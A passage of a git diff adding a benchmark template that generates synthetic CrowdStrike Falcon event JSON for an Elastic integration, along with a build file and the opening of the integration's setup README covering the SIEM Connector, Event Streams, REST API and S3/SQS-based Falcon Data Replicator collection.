+{{- $actor_user := generate "Attributes.actor_user" }} +{{- $actor_user_uuid := generate "Attributes.actor_user_uuid" }} +{{- $app_id := generate "Attributes.app_id" }} +{{- $saml_assertion := generate "Attributes.saml_assertion" }} +{{- $target_user := generate "Attributes.target_user" }} +{{- $trace_id := generate "Attributes.trace_id" }} +{{- $detection_id := generate "Attributes.detection_id" }} +{{- $UserUUID := generate "UserUUID" }} +{{- $UserID := generate "UserID" }} +{{- $ExecutionID := generate "ExecutionID" }} +{{- $ReportID := generate "ReportID" }} +{{- $ReportName := generate "ReportName" }} +{{- $ReportType := generate "ReportType" }} +{{- $ReportFileReference := generate "ReportFileReference" }} +{{- $StatusMessage := generate "StatusMessage" }} +{{- $ExecutionStart := generate "ExecutionMetadata.ExecutionStart" }} +{{- $ExecutionDuration := generate "ExecutionMetadata.ExecutionDuration" }} +{{- $ReportFileName := generate "ExecutionMetadata.ReportFileName" }} +{{- $ResultCount := generate "ExecutionMetadata.ResultCount" }} +{{- $ResultID := generate "ExecutionMetadata.ResultID" }} +{{- $SearchWindowStart := generate "ExecutionMetadata.SearchWindowStart" }} +{{- $SearchWindowEnd := generate "ExecutionMetadata.SearchWindowEnd" }} +{{- $SessionId := generate "SessionId" }} +{{- $HostnameField := generate "HostnameField" }} +{{- $AgentIdString := generate "AgentIdString" }} +{{- $FineScore := generate "FineScore" }} +{{- $LateralMovement := generate "LateralMovement" }} +{{- $IncidentID := generate "IncidentID" }} +{{- $HostID := generate "HostID" }} +{{- $LMHostIDs := generate "LMHostIDs" }} +{{- $AccountId := generate "AccountId" }} +{{- $PolicyId := generate "PolicyId" }} +{{- $PolicyStatement := generate "PolicyStatement" }} +{{- $CloudProvider := generate "CloudProvider" }} +{{- $CloudService := generate "CloudService" }} +{{- $EventAction := generate "EventAction" }} +{{- $EventSource := generate "EventSource" }} +{{- $UserSourceIp := generate "UserSourceIp" }} +{{- $Region := generate "Region" }} +{{- $ResourceId := generate "ResourceId" }} +{{- $ResourceIdType := generate "ResourceIdType" }} +{{- $ResourceName := generate "ResourceName" }} +{{- $ResourceCreateTime := generate "ResourceCreateTime" }} +{{- $CloudPlatform := generate "CloudPlatform" }} +{{- $Disposition := generate "Disposition" }} +{{- $ResourceUrl := generate "ResourceUrl" }} +{{- $Finding := generate "Finding" }} +{{- $Key := generate "Tags.Key" }} +{{- $ValueString := generate "Tags.ValueString" }} +{{- $ReportUrl := generate "ReportUrl" }} +{{- $MobileDetectionId := generate "MobileDetectionId" }} +{{- $TacticId := generate "TacticId" }} +{{- $TechniqueId := generate "TechniqueId" }} +{{- $AppIdentifier := generate "MobileAppsDetails.AppIdentifier" }} +{{- $AndroidAppLabel := generate "MobileAppsDetails.AndroidAppLabel" }} +{{- $DexFileHashes := generate "MobileAppsDetails.DexFileHashes" }} +{{- $ImageFileName := generate "MobileAppsDetails.ImageFileName" }} +{{- $AppInstallerInformation := generate "MobileAppsDetails.AppInstallerInformation" }} +{{- $IsBeingDebugged := generate "MobileAppsDetails.IsBeingDebugged" }} +{{- $AndroidAppVersionName := generate "MobileAppsDetails.AndroidAppVersionName" }} +{{- $IsContainerized := generate "MobileAppsDetails.IsContainerized" }} +{{- $NotificationId := generate "NotificationId" }} +{{- $Highlights := generate "Highlights" }} +{{- $RuleTopic := generate "RuleTopic" }} +{{- $RulePriority := generate "RulePriority" }} +{{- $ItemId := generate "ItemId" }} +{{- $ItemType := generate "ItemType" }} +{{- $Author := generate "Author" }} +{{- $IPv4Addresses := generate "IPv4Addresses" }} +{{- $HostNames := generate "HostNames" }} +{{- $TacticIds := generate "TacticIds" }} +{{- $Tactics := generate "Tactics" }} +{{- $TechniqueIds := generate "TechniqueIds" }} +{{- $Techniques := generate "Techniques" }} +{{- $XdrType := generate "XdrType" }} +{{- $metadata_eventType := generate "metadata.eventType" }} +{{- $metadata_customerIDString := generate "metadata.customerIDString" }} +{{- $metadata_offset := generate "metadata.offset" }} +{"metadata": {"customerIDString": "{{ $metadata_customerIDString }}","offset": {{ $metadata_offset }},"eventType": "{{ $metadata_eventType }}","eventCreationTime": 1686845212400,"version": "1.0"},"event": { {{- if eq $metadata_eventType "EppDetectionSummaryEvent" }}"AgentId": "{{ $AgentId }}","AggregateId": "{{ $AggregateId }}","CommandLine": "C:\\Windows\\{{ $CommandLine }}","CompositeId": "{{ $CompositeId }}","DataDomains": "{{ $DataDomains }}","Description": "{{ $Description }}","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","FilesAccessed": [{"FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\{{ $GrandParentCommandLine }}","GrandParentImageFileName": "{{ $GrandParentImageFileName }}","GrandParentImageFilePath": "{{ $GrandParentImageFilePath }}\\{{ $GrandParentImageFileName }}","HostGroups": "{{ $HostGroups }}","Hostname": "{{ $Hostname }}","LocalIP": "{{ $LocalIP }}","LocalIPv6": "{{ $LocalIPv6 }}","LogonDomain": "{{ $LogonDomain }}","MACAddress": "{{ $MACAddress }}","MD5String": "{{ $MD5String }}","Name": "{{ $Name }}","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": {{ $AccessType }},"ConnectionDirection": {{ $ConnectionDirection }},"IsIPV6": {{ $IsIPV6 }},"LocalAddress": "{{ $LocalAddress }}","LocalPort": {{ $LocalPort }},"Protocol": "{{ $Protocol }}","RemoteAddress": "{{ $RemoteAddress }}","RemotePort": {{ $RemotePort }}}],"Objective": "{{ $Objective }}","ParentCommandLine": "C:\\Windows\\{{ $ParentCommandLine }}\\{{ $ParentImageFileName }}","ParentImageFileName": "{{ $ParentImageFileName }}","ParentImageFilePath": "{{ $ParentImageFilePath }}\\{{ $ParentImageFileName }}","ParentProcessId": {{ $ParentProcessId }},"PatternDispositionDescription": "{{ $PatternDispositionDescription }}","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": {{ $BlockingUnsupportedOrDisabled }},"BootupSafeguardEnabled": {{ $BootupSafeguardEnabled }},"ContainmentFileSystem": {{ $ContainmentFileSystem }},"CriticalProcessDisabled": {{ $CriticalProcessDisabled }},"Detect": {{ $Detect }},"FsOperationBlocked": {{ $FsOperationBlocked }},"HandleOperationDowngraded": {{ $HandleOperationDowngraded }},"InddetMask": {{ $InddetMask }},"Indicator": {{ $Indicator }},"KillActionFailed": {{ $KillActionFailed }},"KillParent": {{ $KillParent }},"KillProcess": {{ $KillProcess }},"KillSubProcess": {{ $KillSubProcess }},"OperationBlocked": {{ $OperationBlocked }},"PolicyDisabled": {{ $PolicyDisabled }},"ProcessBlocked": {{ $ProcessBlocked }},"QuarantineFile": {{ $QuarantineFile }},"QuarantineMachine": {{ $QuarantineMachine }},"RegistryOperationBlocked": {{ $RegistryOperationBlocked }},"Rooting": {{ $Rooting }},"SensorOnly": {{ $SensorOnly }},"SuspendParent": {{ $SuspendParent }},"SuspendProcess": {{ $SuspendProcess }}},"PatternDispositionValue": {{ $PatternDispositionValue }},"PatternId": {{ $PatternId }},"PlatformId": "{{ $PlatformId }}","PlatformName": "{{ $PlatformName }}","ProcessEndTime": {{ $ProcessEndTime }},"ProcessId": {{ $ProcessId }},"ProcessStartTime": {{ $ProcessStartTime }},"ReferrerUrl": "{{ $ReferrerUrl }}","SHA1String": "{{ $SHA1String }}","SHA256String": "{{ $SHA256String }}","Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","SourceProducts": "{{ $SourceProducts }}","SourceVendors": "{{ $SourceVendors }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}","Type": "{{ $Type }}","UserName": "{{ $UserName }}"{{- else if eq $metadata_eventType "DetectionSummaryEvent" }}"ProcessStartTime": {{ $ProcessStartTime }},"ProcessEndTime": {{ $ProcessEndTime }},"ProcessId": {{ $ProcessId }},"ParentProcessId": {{ $ParentProcessId }},"ComputerName": "{{ $ComputerName }}","UserName": "{{ $UserName }}","DetectName": "{{ $DetectName }}","DetectDescription": "{{ $DetectDescription }}","Severity": {{ $DetectionSeverity }},"SeverityName": "{{ $SeverityName }}","FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","CommandLine": "C:\\Windows\\{{ $CommandLine }}","SHA256String": "{{ $SHA256String }}","MD5String": "{{ $MD5String }}","SHA1String": "{{ $SHA1String }}","MachineDomain": "{{ $MachineDomain }}","NetworkAccesses": [{"AccessType": {{ $AccessType }},"AccessTimestamp": 1751371565,"Protocol": "{{ $Protocol }}","LocalAddress": "{{ $LocalAddress }}","LocalPort": {{ $LocalPort }},"RemoteAddress": "{{ $RemoteAddress }}","RemotePort": {{ $RemotePort }},"ConnectionDirection": {{ $ConnectionDirection }},"IsIPV6": {{ $IsIPV6 }}}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","SensorId": "{{ $SensorId }}","IOCType": "{{ $IOCType }}","IOCValue": "{{ $IOCValue }}","DetectId": "{{ $DetectId }}","LocalIP": "{{ $LocalIP }}","MACAddress": "{{ $MACAddress }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}","Objective": "{{ $Objective }}","PatternDispositionDescription": "{{ $PatternDispositionDescription }}","PatternDispositionValue": {{ $PatternDispositionValue }},"PatternDispositionFlags": {"Indicator": {{ $Indicator }},"Detect": {{ $Detect }},"InddetMask": {{ $InddetMask }},"SensorOnly": {{ $SensorOnly }},"Rooting": {{ $Rooting }},"KillProcess": {{ $KillProcess }},"KillSubProcess": {{ $KillSubProcess }},"QuarantineMachine": {{ $QuarantineMachine }},"QuarantineFile": {{ $QuarantineFile }},"PolicyDisabled": {{ $PolicyDisabled }},"KillParent": {{ $KillParent }},"OperationBlocked": {{ $OperationBlocked }},"ProcessBlocked": {{ $ProcessBlocked }},"RegistryOperationBlocked": {{ $RegistryOperationBlocked }},"CriticalProcessDisabled": {{ $CriticalProcessDisabled }},"BootupSafeguardEnabled": {{ $BootupSafeguardEnabled }},"FsOperationBlocked": {{ $FsOperationBlocked }},"HandleOperationDowngraded": {{ $HandleOperationDowngraded }},"KillActionFailed": {{ $KillActionFailed }},"BlockingUnsupportedOrDisabled": {{ $BlockingUnsupportedOrDisabled }},"SuspendProcess": {{ $SuspendProcess }},"SuspendParent": {{ $SuspendParent }}},"ParentImageFileName": "{{ $ParentImageFileName }}","ParentCommandLine": "{{ $ParentCommandLine }}","GrandparentImageFileName": "{{ $GrandparentImageFileName }}","GrandparentCommandLine": "{{ $GrandparentCommandLine }}","HostGroups": "{{ $HostGroups }}","AssociatedFile": "{{ $AssociatedFile }}","PatternId": {{ $PatternId }}{{- else if eq $metadata_eventType "FirewallMatchEvent" }}"DeviceId": "{{ $DeviceId }}","CustomerId": "{{ $CustomerId }}","Ipv": "{{ $Ipv }}","CommandLine": "{{ $CommandLine }}","ConnectionDirection": "{{ $ConnectionDirection }}","EventType": "{{ $EventType }}","Flags": {"Audit": {{ $Audit }},"Log": {{ $Log }},"Monitor": {{ $Monitor }}},"HostName": "{{ $HostName }}","ICMPCode": "{{ $ICMPCode }}","ICMPType": "{{ $ICMPType }}","ImageFileName": "{{ $ImageFileName }}","LocalAddress": "{{ $LocalAddress }}","LocalPort": "{{ $LocalPort }}","MatchCount": {{ $MatchCount }},"MatchCountSinceLastReport": {{ $MatchCountSinceLastReport }},"NetworkProfile": "{{ $NetworkProfile }}","PID": "{{ $PID }}","PolicyName": "{{ $PolicyName }}","PolicyID": "{{ $PolicyID }}","Protocol": "{{ $Protocol }}","RemoteAddress": "{{ $RemoteAddress }}","RemotePort": "{{ $RemotePort }}","RuleAction": "{{ $RuleAction }}","RuleDescription": "{{ $RuleDescription }}","RuleFamilyID": "{{ $RuleFamilyID }}","RuleGroupName": "{{ $RuleGroupName }}","RuleName": "{{ $RuleName }}","RuleId": "{{ $RuleId }}","Status": "{{ $Status }}","Timestamp": 1751371830,"TreeID": "{{ $TreeID }}"{{- else if eq $metadata_eventType "IdpDetectionSummaryEvent" }}"ContextTimeStamp": 133984620360000000,"CompositeId": "{{ $CompositeId }}","DetectId": "{{ $DetectId }}","DetectName": "{{ $DetectName }}","DetectDescription": "{{ $DetectDescription }}","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}","Objective": "{{ $Objective }}","SourceAccountDomain": "{{ $SourceAccountDomain }}","SourceAccountName": "{{ $SourceAccountName }}","SourceAccountObjectSid": "{{ $SourceAccountObjectSid }}","SourceEndpointAccountObjectGuid": "{{ $SourceEndpointAccountObjectGuid }}","SourceEndpointAccountObjectSid": "{{ $SourceEndpointAccountObjectSid }}","SourceEndpointHostName": "{{ $SourceEndpointHostName }}","SourceEndpointIpAddress": "{{ $SourceEndpointIpAddress }}","SourceEndpointSensorId": "{{ $SourceEndpointSensorId }}","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "{{ $ActivityId }}","PatternId": {{ $PatternId }}{{- else if eq $metadata_eventType "IdentityProtectionEvent" }}"IncidentType": "{{ $IdpIncidentType }}","IncidentDescription": "{{ $IncidentDescription }}","Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "{{ $IdentityProtectionIncidentId }}","UserName": "{{ $UserName }}","EndpointName": "{{ $EndpointName }}","EndpointIp": "{{ $EndpointIp }}","Category": "{{ $Category }}","NumbersOfAlerts": {{ $NumbersOfAlerts }},"NumberOfCompromisedEntities": {{ $NumberOfCompromisedEntities }},"State": "{{ $State }}","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx"{{- else if eq $metadata_eventType "AuthActivityAuditEvent" }}"UserId": "{{ $UserId }}","UserIp": "{{ $UserIp }}","OperationName": "{{ $OperationName }}","ServiceName": "{{ $ServiceName }}","Success": {{ $Success }},"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "{{ $Key }}","ValueString": "{{ $ValueString }}"}],"Attributes": {"actor_cid": "{{ $actor_cid }}","actor_user": "{{ $actor_user }}","actor_user_uuid": "{{ $actor_user_uuid }}","app_id": "{{ $app_id }}","saml_assertion": "{{ $saml_assertion }}","target_user": "{{ $target_user }}","trace_id": "{{ $trace_id }}"}{{- else if eq $metadata_eventType "UserActivityAuditEvent" }}"UserId": "{{ $UserId }}","UserIp": "{{ $UserIp }}","OperationName": "{{ $OperationName }}","ServiceName": "{{ $ServiceName }}","AuditKeyValues": [{"Key": "{{ $Key }}","ValueString": "{{ $ValueString }}"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "{{ $detection_id }}"}{{- else if eq $metadata_eventType "ScheduledReportNotificationEvent" }}"UserUUID": "{{ $UserUUID }}","UserID": "{{ $UserID }}","ExecutionID": "{{ $ExecutionID }}","ReportID": "{{ $ReportID }}","ReportName": "{{ $ReportName }}","ReportType": "{{ $ReportType }}","ReportFileReference": "{{ $ReportFileReference }}","Status": "{{ $Status }}","StatusMessage": "{{ $StatusMessage }}","ExecutionMetadata": {"ExecutionStart": {{ $ExecutionStart }},"ExecutionDuration": {{ $ExecutionDuration }},"ReportFileName": "{{ $ReportFileName }}","ResultCount": {{ $ResultCount }},"ResultID": "{{ $ResultID }}","SearchWindowStart": {{ $SearchWindowStart }},"SearchWindowEnd": {{ $SearchWindowEnd }}}{{- else if eq $metadata_eventType "RemoteResponseSessionStartEvent" }}"SessionId": "{{ $SessionId }}","HostnameField": "{{ $HostnameField }}","UserName": "{{ $UserName }}","StartTimestamp": 1582830734,"AgentIdString": "{{ $AgentIdString }}"{{- else if eq $metadata_eventType "IncidentSummaryEvent" }}"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "{{ $FalconHostLink }}","State": "{{ $IncidentState }}","FineScore": {{ $FineScore }},"LateralMovement": {{ $LateralMovement }},"IncidentType": {{ $IncidentType }},"IncidentID": "{{ $IncidentID }}","HostID": "{{ $HostID }}","LMHostIDs": ["{{ $LMHostIDs }}"],"UserId": "{{ $UserId }}"{{- else if eq $metadata_eventType "CSPMIOAStreamingEvent" }}"AccountId": "{{ $AccountId }}","PolicyId": {{ $PolicyId }},"PolicyStatement": "{{ $PolicyStatement }}","CloudProvider": "{{ $CloudProvider }}","CloudService": "{{ $CloudService }}","Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","EventAction": "{{ $EventAction }}","EventSource": "{{ $EventSource }}","EventCreatedTimestamp": 1663011160,"UserId": "{{ $UserId }}","UserName": "{{ $UserName }}","UserSourceIp": "{{ $UserSourceIp }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}"{{- else if eq $metadata_eventType "CSPMSearchStreamingEvent" }}"AccountId": "{{ $AccountId }}","Region": "{{ $Region }}","ResourceId": "{{ $ResourceId }}","ResourceIdType": "{{ $ResourceIdType }}","ResourceName": "{{ $ResourceName }}","ResourceCreateTime": 0,"PolicyStatement": "{{ $PolicyStatement }}","PolicyId": {{ $PolicyId }},"Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","CloudPlatform": "{{ $CloudPlatform }}","CloudService": "{{ $CloudService }}","Disposition": "{{ $Disposition }}","ResourceUrl": "{{ $ResourceUrl }}","Finding": "{{ $Finding }}","Tags": [{"Key": "{{ $Key }}","ValueString": "{{ $ValueString }}"}],"ReportUrl": "{{ $ReportUrl }}","Timestamp": 1751371830{{- else if eq $metadata_eventType "MobileDetectionSummaryEvent" }}"SensorId": "{{ $SensorId }}","MobileDetectionId": {{ $MobileDetectionId }},"ComputerName": "{{ $ComputerName }}","UserName": "{{ $UserName }}","ContextTimeStamp": 1649061056,"DetectId": "{{ $DetectId }}","DetectName": "{{ $DetectName }}","DetectDescription": "{{ $DetectDescription }}","Tactic": "{{ $Tactic }}","TacticId": "{{ $TacticId }}","Technique": "{{ $Technique }}","TechniqueId": "{{ $TechniqueId }}","Objective": "{{ $Objective }}","Severity": {{ $Severity }},"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "{{ $AppIdentifier }}","AndroidAppLabel": "{{ $AndroidAppLabel }}","DexFileHashes": "{{ $DexFileHashes }}","ImageFileName": "{{ $ImageFileName }}","AppInstallerInformation": "{{ $AppInstallerInformation }}","IsBeingDebugged": {{ $IsBeingDebugged }},"AndroidAppVersionName": "{{ $AndroidAppVersionName }}","IsContainerized": {{ $IsContainerized }}}]{{- else if eq $metadata_eventType "ReconNotificationSummaryEvent" }}"NotificationId": "{{ $NotificationId }}","Highlights": ["{{ $Highlights }}"],"MatchedTimestamp": 1686889114000,"RuleId": "{{ $RuleId }}","RuleName": "{{ $RuleName }}","RuleTopic": "{{ $RuleTopic }}","RulePriority": "{{ $RulePriority }}","ItemId": "{{ $ItemId }}","ItemType": "{{ $ItemType }}","ItemPostedTimestamp": 1686889114000{{- else if eq $metadata_eventType "XdrDetectionSummaryEvent" }}"Author": "{{ $Author }}","DataDomains": "{{ $DataDomains }}","Description": "{{ $Description }}","DetectId": "{{ $DetectId }}","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "{{ $IPv4Addresses }}","HostNames": "{{ $HostNames }}","Name": "{{ $Name }}","PatternId": {{ $PatternId }},"Severity": {{ $Severity }},"SourceProducts": "{{ $SourceProducts }}","SourceVendors": "{{ $SourceVendors }}","StartTimeEpoch": 1643317697728000000,"TacticIds": "{{ $TacticIds }}","Tactics": "{{ $Tactics }}","TechniqueIds": "{{ $TechniqueIds }}","Techniques": "{{ $Techniques }}","XdrType": "{{ $XdrType }}" } {{end}}}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml new file mode 100644 index 0000000000..d8553567e9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml @@ -0,0 +1,3 @@ +dependencies: + ecs: + reference: "git@v8.17.0" diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md new file mode 100644 index 0000000000..964a2b4d41 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md @@ -0,0 +1,367 @@ +# CrowdStrike Integration + +## Overview + +The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to efficiently connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization, and incident response. + +For a demo, refer to the following video (click to view). + +[![CrowdStrike integration video](https://play.vidyard.com/VKKWSpg4sDEk1DBXATkyEP.jpg)](https://videos.elastic.co/watch/VKKWSpg4sDEk1DBXATkyEP) + +### Compatibility + +This integration is compatible with CrowdStrike Falcon SIEM Connector v2.0, REST API, and CrowdStrike Event Streams API. + +### How it works + +The integration collects data from multiple sources within CrowdStrike Falcon and ingests it into Elasticsearch for security analysis and visualization: + +![CrowdStrike Integration Flowchart](../img/crowdstrike-elastic-data-flow.drawio.svg) + +1. **CrowdStrike Event Streams** — Real-time security events (auth, CSPM, firewall, user activity, XDR, detections). You can collect this data in two ways: + - **Falcon SIEM Connector** — A pre-built integration that connects CrowdStrike Falcon with your SIEM. The connector collects event stream data and writes it to files; this integration reads from the connector's output path (the `output_path` in `cs.falconhoseclient.cfg`). + - **Event Streams API** — Continuously streams security logs from CrowdStrike Falcon for proactive monitoring and threat detection. + + Data from either method is indexed into the `falcon` dataset in Elasticsearch. + +2. **CrowdStrike REST API** — The integration uses the REST API to pull alerts, host inventory, and vulnerability data (indexed into the `alert`, `host`, and `vulnerability` datasets). + + :::{note} + GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint. + ::: + +3. **Falcon Data Replicator (FDR)** — Batch data from your endpoints, cloud workloads, and identities using the Falcon platform's lightweight agent. Data is written to CrowdStrike-managed S3; this integration consumes it using SQS notifications (or from your own S3 bucket if you use the FDR tool to replicate). Logs are indexed into the `fdr` dataset in Elasticsearch. + +## What data does this integration collect? + +- **Event Streams** (falcon dataset) +- **FDR** (fdr dataset) +- **Alerts** (alert dataset) +- **Hosts** (host dataset) +- **Vulnerability** (vulnerability dataset) + +## What do I need to use this integration? + +This section describes the requirements and configuration details for each supported data source. + +### Collect data using CrowdStrike Falcon SIEM Connector + +To collect data using the Falcon SIEM Connector, you need the file path where the connector stores event data received from the Event Streams. +This is the same as the `output_path` setting in the `cs.falconhoseclient.cfg` configuration file. + +The integration supports only JSON output format from the Falcon SIEM Connector. Other formats such as Syslog and CEF are not supported. + +Additionally, this integration collects logs only through the file system. Ingestion using a Syslog server is not supported. + +:::{note} +The log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file. The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`. +By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion. + +Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration. +::: + +By default, the configuration file for the Falcon SIEM Connector is located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg`, which provides configuration options related to the events collected. The `EventTypeCollection` and `EventSubTypeCollection` sections list which event types the connector collects. + +### Collect data using CrowdStrike Event Streams + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token URL +4. API Endpoint URL +5. CrowdStrike App ID +6. Required scopes for event streams: + + | Data Stream | Scope | + | ------------- | ------------------- | + | Event Stream | read: Event streams | + +:::{note} +You can use the Falcon SIEM Connector as an alternative to the Event Streams API. +::: + +#### Supported Event Streams event types + +The following event types are supported for CrowdStrike Event Streams (whether you use the Falcon SIEM Connector or the Event Streams API): + +- CustomerIOCEvent +- DataProtectionDetectionSummaryEvent +- DetectionSummaryEvent +- EppDetectionSummaryEvent +- IncidentSummaryEvent +- UserActivityAuditEvent +- AuthActivityAuditEvent +- FirewallMatchEvent +- RemoteResponseSessionStartEvent +- RemoteResponseSessionEndEvent +- CSPM Streaming events +- CSPM Search events +- IDP Incidents +- IDP Summary events +- Mobile Detection events +- Recon Notification events +- XDR Detection events +- Scheduled Report Notification events + +### Collect data using CrowdStrike REST API + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token URL +4. API Endpoint URL +5. Required scopes for each data stream: + + | Data Stream | Scope | + | ------------- | ------------- | + | Alert | read:alert | + | Host | read:host | + | Vulnerability | read:vulnerability | + +### Collect data using CrowdStrike Falcon Data Replicator (FDR) + +The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike +managed S3 buckets. When new data is written to S3, notifications are sent to a CrowdStrike-managed SQS queue (using S3 event notifications configured in AWS), so this integration can consume them. + +This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed +SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket +and the integration can read from there. + +In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic +Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time. + +#### Use with CrowdStrike managed S3/SQS + +This is the simplest way to setup the integration, and also the default. + +You need to set the integration up with the SQS queue URL provided by CrowdStrike FDR. + +#### Use with FDR tool and data replicated to a self-managed S3 bucket + +This option can be used if you want to archive the raw CrowdStrike data. + +You need to follow the steps below: + +- Create an S3 bucket to receive the logs. +- Create an SQS queue. +- Configure your S3 bucket to send object created notifications to your SQS queue. +- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket. +- Configure the integration to read from your self-managed SQS topic. + +:::{note} +While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files. +::: + +#### Configuration for the S3 input + +AWS credentials are required for running this integration if you want to use the S3 input. + +##### Configuration parameters +* `access_key_id`: first part of access key. +* `secret_access_key`: second part of access key. +* `session_token`: required when using temporary security credentials. +* `credential_profile_name`: profile name in shared credentials file. +* `shared_credential_file`: directory of the shared credentials file. +* `endpoint`: URL of the entry point for an AWS web service. +* `role_arn`: AWS IAM Role to assume. + +##### Credential Types +There are three types of AWS credentials that can be used: + +- access keys, +- temporary security credentials, and +- IAM role ARN. + +##### Access keys + +`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys. +They are long-term credentials for an IAM user, or the AWS account root user. +See [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys) +for more details. + +##### Temporary security credentials + +Temporary security credentials have a limited lifetime and consist of an +access key ID, a secret access key, and a security token which are typically returned +from `GetSessionToken`. + +MFA-enabled IAM users would need to submit an MFA code +while calling `GetSessionToken`. `default_region` identifies the AWS Region +whose servers you want to send your first API request to by default. + +This is typically the Region closest to you, but it can be any Region. See +[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +for more details. + +`sts get-session-token` AWS CLI can be used to generate temporary credentials. +For example, with MFA-enabled: +```bash +aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456 +``` + +Because temporary security credentials are short term, after they expire, the +user needs to generate new ones and manually update the package configuration in +order to continue collecting `aws` metrics. + +This will cause data loss if the configuration is not updated with new credentials before the old ones expire. + +##### IAM role ARN + +An IAM role is an IAM identity that you can create in your account that has +specific permissions that determine what the identity can and cannot do in AWS. + +A role does not have standard long-term credentials such as a password or access +keys associated with it. Instead, when you assume a role, it provides you with +temporary security credentials for your role session. +IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate +temporary credentials. + +See [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details. + +##### Supported Formats +1. Use access keys: Access keys include `access_key_id`, `secret_access_key` +and/or `session_token`. +2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume + for generating temporary credentials. + If `role_arn` is given, the package will check if access keys are given. + If not, the package will check for credential profile name. + If neither is given, default credential profile will be used. + + Ensure credentials are given under either a credential profile or + access keys. +3. Use `credential_profile_name` and/or `shared_credential_file`: + If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then + the package will check for `credential_profile_name`. + If you use different credentials for different tools or applications, you can use profiles to + configure multiple access keys in the same configuration file. + If there is no `credential_profile_name` given, the default profile will be used. + `shared_credential_file` is optional to specify the directory of your shared + credentials file. + If it's empty, the default directory will be used. + In Windows, shared credentials file is at `C:\Users\\.aws\credentials`. + For Linux, macOS or Unix, the file is located at `~/.aws/credentials`. + See [Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html) + for more details. + +#### Supported FDR data + +The FDR dataset includes: + +- Events generated by the Falcon sensor on your hosts +- DataProtectionDetectionSummaryEvent (Data Protection detection summary) +- File Integrity Monitor: 